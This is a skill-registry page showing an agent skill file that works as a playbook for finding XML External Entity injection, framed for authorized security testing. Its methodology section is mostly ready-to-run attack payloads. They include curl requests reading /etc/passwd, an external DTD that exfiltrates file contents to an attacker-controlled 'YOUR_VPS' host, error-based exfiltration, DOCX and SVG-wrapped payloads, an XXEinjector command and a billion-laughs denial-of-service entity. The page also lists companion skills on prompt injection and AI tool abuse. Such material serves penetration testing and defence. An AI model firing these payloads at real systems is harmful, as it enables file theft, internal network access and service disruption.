xxe
Skill1 starsChanged 12 days agoMITView on GitHub
Hunt for XML External Entity injection: classic (in-band file/data disclosure), blind (out-of-band exfil via external DTD), and parameter entity techniques (error-based exfil, OOB when direct entity reflection is blocked). Use when the app accepts/parses XML — SOAP APIs, file uploads (DOCX/XLSX/SVG/XML config imports), SAML responses, RSS/Atom feed parsers, XML-RPC endpoints. Keywords: xxe, xml external entity, DOCTYPE, SYSTEM entity, billion laughs, XML bomb, SOAP injection, SVG XXE, DOCX XXE, SAML XXE, parameter entity OOB exfil. Do NOT use for plain JSON APIs with no XML parsing anywhere in the stack. Do NOT use for SSRF via non-XML vectors — use ssrf (though blind XXE is itself an SSRF delivery mechanism — document under both when the vector is XML-based).
- Sends data out
8 other projects use a version of this.
Adopted by
Most recently taken up by
- blacklanternsecurity/red-runtheir own version, first seen Oct 25, 2026
- TaiMaBenJi/taima-skillstheir own version, first seen Oct 11, 2026
- cdxiaodong/cain-agenttheir own version, first seen Oct 8, 2026
- emre-guler/websectheir own version, first seen Aug 27, 2026
- conjure-3301/skillstheir own version, first seen Aug 17, 2026
- KaanBicaklar/mona-sast-skillstheir own version, first seen Jul 9, 2026
Used with
Projects with it also use path-traversal.
Other files people use alongside this one.
Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
langbyyiSkillpath-traversal
Path traversal and LFI playbook. Use when file paths, download endpoints, include operations, archive extraction, or wrapper behavior may expose filesystem control.
Also in 3 projects that use this
Other versions8 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 8
- cdxiaodong/cain-agent★ 953same name
- blacklanternsecurity/red-run★ 296same name
- sunilgentyala/OmniRed★ 5same name
- langbyyi/websec-skills★ 4same name
- emre-guler/websec★ 2same name
- KaanBicaklar/mona-sast-skills★ 2same name
- TaiMaBenJi/taima-skills★ 1same name
- conjure-3301/skills★ 0same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository124 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- ai-agent-reconSkill
- ai-supply-chainSkill
- exfiltration-via-aiSkill
- indirect-injectionSkill
- llm-fuzzingSkill
- prompt-injectionSkill
- rag-poisoningSkill
- tool-abuseSkill
- chain-analysisSkill
- chain-auth-to-takeoverSkill
- chain-customSkill
- chain-graph-walkSkill
- chain-idor-to-mass-dataSkill
- chain-info-to-exploitSkill
- chain-multi-appSkill
- chain-ssrf-to-cloudSkill
- chain-web-to-rceSkill
- chain-xss-to-account-takeoverSkill
- email-securitySkill
- engagement-flowSkill
- finding-disciplineSkill
- http-headers-securitySkill
- oob-interactionsSkill
- opsec-disciplineSkill
- research-firstSkill
- scope-disciplineSkill
- scope-importSkill
- session-contextSkill
- 2fa-bypassSkill
- api-abuseSkill
- auth-bypassSkill
- broken-access-controlSkill
- business-logicSkill
- cache-poisoningSkill
- clickjackingSkill
- corsSkill
- credential-testingSkill
- crlf-injectionSkill
- cryptographic-oracleSkill
- csrfSkill
- css-injectionSkill
- data-exfiltration-testSkill
- deserializationSkill
- email-injectionSkill
- file-uploadSkill
- fuzzingSkill
- graphqlSkill
- grpcSkill
- host-headerSkill
- http-smugglingSkill
- idorSkill
- info-disclosureSkill
- jwtSkill
- lateral-movementSkill
- lfi-rfiSkill
- mass-assignmentSkill
- oauthSkill
- open-redirectSkill
- parameter-pollutionSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
5 rules. 0 are common, 5 are distinctive, and 0 are very specific to this project.
0
Common
Most of the 7 edited versions we read keep these.
5
Distinctive
This author's own choices. Worth a look.
0
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 68
If the response reflects file content back (directly or inside the parsed field), that's immediate, strong in-band proof.
- Distinctive: line 71
Blind XXE via out-of-band external DTD: when direct reflection doesn't work (parser resolves the entity but doesn't echo it back anywhere …
- Distinctive: line 105
Error-based exfil: when OOB egress is blocked by network controls (data-in-error-message technique, no outbound connection needed):
- Distinctive: line 186
Document the exact DOCTYPE/entity payload and content-type/endpoint used — XXE proof is very payload-specific and must be reproducible …
- Distinctive: line 210
Before declaring this finding complete, probe these escalation paths:
“Common” is measured: kept by at least 6 in 10 of the 7 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Signals
- Endpoints with
Content-Type: application/xml,text/xml,application/soap+xml. - File upload features accepting any XML-based format: DOCX/XLSX/PPTX (zipped XML), SVG, XML config/import files, GPX, RSS/OPML import.
- SAML SSO flows — the SAML response/request is XML and frequently parsed with permissive settings.
- Any endpoint accepting raw XML in the body even if the primary API is JSON-based (some frameworks auto-detect content-type and parse both).
- Error messages revealing the underlying XML parser (
libxml,Xerces,SAXParseException,DOMDocument) — a strong hint external entity resolution might be enabled.
Prerequisites
- An endpoint confirmed to parse XML (via the signals above, or by sending well-formed XML and getting a parse-success response different from malformed XML).
- An OOB listener (your VPS or Interactsh) for blind XXE confirmation and data exfiltration via
external DTD. Bring it up with the session lifecycle BEFORE injecting (same flow as SSRF):
python3 -m engine.oast start --audit-dir .→token --purpose blind-xxe --vuln-class xxe→ inject the payload URL as the external DTD host →poll→evidence→stopwhen done. A correlated hit on a minted token is the only path toDemonstratedfor blind XXE (see skilloob-interactions). - A reachable test file path for classic in-band proof (
/etc/passwdon Linux targets, orC:\Windows\win.inion Windows) — pick the one appropriate to the target OS.
Methodology
- Baseline well-formed XML to confirm the endpoint actually parses XML (vs. just ignoring
it):
curl -s -X POST https://target/api/import -H "Content-Type: application/xml" \ --data '<?xml version="1.0"?><root><name>test</name></root>' - Classic in-band XXE — direct file read via internal subset DOCTYPE:
If the response reflects file content back (directly or inside the parsed field), that's immediate, strong in-band proof.curl -s -X POST https://target/api/import -H "Content-Type: application/xml" --data ' <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root><name>&xxe;</name></root>' - Blind XXE via out-of-band external DTD when direct reflection doesn't work (parser
resolves the entity but doesn't echo it back anywhere visible):
Watch your VPS access log for the# host this on your VPS as /evil.dtd: cat > evil.dtd << 'EOF' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://YOUR_VPS/leak?data=%file;'>"> %eval; %exfil; EOF # serve it: python3 -m http.server 80 (on YOUR_VPS) curl -s -X POST https://target/api/import -H "Content-Type: application/xml" --data ' <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR_VPS/evil.dtd"> %remote; ]> <root><name>test</name></root>'/leak?data=...request — the query string carries the exfiltrated file content (URL-encoded, may need chunking for larger files since this uses parameter entities). - SSRF-via-XXE check (blind XXE as a network primitive, independent of file read):
A hit on your listener confirms the parser makes outbound requests — cross-reference with ssrf for cloud metadata/internal network escalation from here.curl -s -X POST https://target/api/import -H "Content-Type: application/xml" --data ' <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://YOUR_VPS/xxe-ssrf-confirm"> ]> <root><name>&xxe;</name></root>' - Error-based exfil when OOB egress is blocked by network controls (data-in-error-message
technique, no outbound connection needed):
Referencecat > evil2.dtd << 'EOF' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; EOFevil2.dtdthe same way as step 3 — the parser throws an error containing the file path (and thus the file's first line/content) because the crafted nonexistent path includes the file data, surfaced in the XML parse error response. - File-format-wrapped XXE — DOCX/XLSX/SVG uploads. Unzip, inject, rezip:
SVG (often simpler, served directly):unzip -o template.docx -d docx_extracted # edit docx_extracted/word/document.xml, inject the DOCTYPE/entity payload from step 2/3 cd docx_extracted && zip -r ../payload.docx . && cd .. curl -s -X POST https://target/upload -F "file=@payload.docx"cat > xxe.svg << 'EOF' <?xml version="1.0" standalone="yes"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <svg width="100" height="100" xmlns="http://www.w3.org/2000/svg"> <text x="0" y="15">&xxe;</text> </svg> EOF curl -s -X POST https://target/upload/avatar -F "file=@xxe.svg;type=image/svg+xml" - SAML-specific XXE — intercept a real SAML response/request, inject the DOCTYPE into the decoded XML before it's base64/deflate-re-encoded and resubmitted. This needs the actual intercepted assertion as a base; document the exact encode/decode steps used (base64 + optionally deflate for HTTP-Redirect binding) since there's no generic one-liner.
- Automate sweep with XXEinjector once a candidate endpoint/parameter is known:
ruby XXEinjector.rb --host=YOUR_VPS --path=/api/import --file=request.txt \ --httpmethod=POST --oob=http - Denial-of-service variant (billion laughs) — only with explicit operator approval given
it's a resource-exhaustion attack, not a read primitive:
<!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!-- continues exponentially --> ]>
Tooling
curl— the core manual technique for every variant above.XXEinjector— automates OOB-based blind XXE discovery and file exfiltration via chunked out-of-band requests.- Interactsh/Burp Collaborator — blind/OOB confirmation listener.
- Burp Suite — intercepting and modifying SAML/SOAP XML bodies in transit.
Root Causes
- XML parser configured with external entity resolution enabled (
DTDLoadExternal,resolveEntitynot disabled) instead of disabling DOCTYPE/external entities entirely (setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)in Java,libxml_disable_entity_loader()in PHP,defusedxmlinstead of stdlibxml.etreein Python). - Third-party libraries (PDF/DOCX/SVG renderers) bundling their own XML parser with default (unsafe) entity resolution, independent of the main app's own parser config.
- SAML/SSO libraries that parse assertions before signature validation, letting an attacker inject XXE in an unsigned or not-yet-verified portion of the document.
Validation Gate (minimum proof)
- In-band: actual file content (or a recognizable fragment, e.g.
root:x:0:0:from/etc/passwd) returned in the HTTP response. - Blind/OOB: a verified inbound request on your listener carrying exfiltrated data in the query string/path, correlated to the specific payload and timestamp.
- Error-based: the file content (or a fragment) appearing inside a parser error message.
- Document the exact DOCTYPE/entity payload and content-type/endpoint used — XXE proof is very payload-specific and must be reproducible verbatim.
Gotchas
- Minimum proof, not a full filesystem crawl.
/etc/passwdor one config file is sufficient proof; don't loop through sensitive paths hunting for credentials beyond what's needed to demonstrate impact, and never target production data files without an explicit broader gate. - Common N/A: parser returns a generic "DOCTYPE not allowed" or similar hard rejection — that's the control working (entity expansion disabled); don't report XXE just because XML is accepted, if DOCTYPE itself is rejected outright.
- Common N/A: classic in-band entity substitution blocked, but you never tried the OOB parameter-entity technique — a surprising number of apps block direct entity reflection in the response but still happily resolve external DTDs; always attempt step 3 before concluding not-vulnerable.
- Overclaim trap: a slow response to an XXE payload isn't proof on its own — pair with an actual OOB hit or in-band data before calling it Demonstrated rather than Unproven.
- File-format-wrapped payloads (DOCX/SVG) often get re-saved by the server (stripping the injected XML) before parsing — if upload succeeds but no XXE fires, check whether the server normalizes/sanitizes the file first; this is a mitigating factor to document, not silently drop as "not vulnerable."
Chain Anchors
Before declaring this finding complete, probe these escalation paths:
- Local file read — Can you read /etc/passwd or the Windows equivalent via an external entity?
- SSRF via entity — Can you trigger SSRF by pointing an external entity at an internal URL?
- OOB exfiltration — When in-band extraction fails, can you exfiltrate data out-of-band (error-based, or FTP/HTTP collaborator)?
- Parameter entity support — Does the parser support parameter entities? Needed for OOB exfiltration of multi-line files.
A finding without chain anchor results is INCOMPLETE. Record each anchor as tested/not-applicable/blocked with the reason.
Chains & Compositions
- XXE → ssrf (external entity as a network-request primitive — reaches internal services/ cloud metadata the same as any SSRF).
- XXE → info-disclosure (config files, source code, credentials stored in flat files on the
server read via
file://). - XXE → lfi-rfi overlap when the same
file:///wrapper primitive is reachable through a non-XML path too — cross-reference findings rather than duplicating. - Billion-laughs/DoS variant → availability-impact finding, kept separate from the data-exfil chain above and gated on explicit operator approval before firing.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

